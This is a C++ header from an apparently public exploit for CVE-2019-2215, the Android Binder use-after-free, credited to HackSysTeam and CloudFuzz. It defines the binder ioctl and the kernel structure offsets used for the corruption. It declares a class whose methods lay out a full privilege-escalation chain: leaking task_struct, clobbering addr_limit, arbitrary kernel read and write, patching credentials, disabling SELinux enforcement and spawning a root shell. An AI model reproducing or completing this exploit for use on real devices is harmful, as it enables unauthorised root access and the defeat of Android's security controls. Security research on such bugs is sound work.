/*++

   ## # # ###     ### ###  #  ###     ### ###  #  ###
  #   # # #         # # # ##  # #       #   # ##  #
  #   # # ##  ### ### # #  #  ### ### ### ###  #  ###
  #   # # #       #   # #  #    #     #   #    #    #
   ##  #  ###     ### ### ### ###     ### ### ### ###
                                         @HackSysTeam

                    CVE-2019-2215
            Android Binder Use after Free
            CloudFuzz TechnoLabs Pvt. Ltd.

 https://groups.google.com/d/msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ
 https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
 https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html

 Thanks:
    @maddiestone
    @tehjh

--*/

#pragma once

#ifndef __EXPLOIT_H__
#define __EXPLOIT_H__

#include "common.h"


/**
 * Defines
 */

#define BINDER_THREAD_EXIT 0x40046208ul
#define TASK_STRUCT_OFFSET_IN_LEAKED_DATA 0xE8
#define IOVEC_COUNT (int) (sizeof(struct binder_thread) / sizeof(struct iovec))
#define IOVEC_WQ_INDEX (int) (offsetof(struct binder_thread, wait) / sizeof(struct iovec))


/**
 * Class definition
 */

class BinderUaF {
private:
    int m_epoll_fd = 0;
    int m_binder_fd = 0;
    void *m_pidAddress = nullptr;
    struct cred *m_cred = nullptr;
    void *m_credAddress = nullptr;
    void *m_nsproxyAddress = nullptr;
    int m_kernel_rw_pipe_fd[2] = {0};
    void *m_4gb_aligned_page = nullptr;
    struct task_struct *m_task_struct = nullptr;
    struct epoll_event m_epoll_event = {.events = EPOLLIN};


public:
    BinderUaF() {
        INFO(BANNER);
    };

    void bindToCPU();

    void initKernelReadWritePipe();

    void setupBinder();

    void freeBinderThread();

    void setupEventPoll();

    void mmap4gbAlignedPage();

    void linkEventPollWaitQueueToBinderThreadWaitQueue();

    void unlinkEventPollWaitQueueFromBinderThreadWaitQueue();

    void leakTaskStruct();

    void clobberAddrLimit();

    void verifyArbitraryReadWrite();

    void patchCred();

    void verifyRoot();

    void disableSELinuxEnforcing();

    void spawnRootShell();

    void kRead(void *Address, size_t Length, void *uBuffer);

    void kWrite(void *Address, size_t Length, void *uBuffer);

    uint64_t kReadQword(void *Address);

    uint32_t kReadDword(void *Address);

    void kWriteQword(void *Address, uint64_t Value);

    void kWriteDword(void *Address, uint32_t Value);
};

#endif //__EXPLOIT_H__
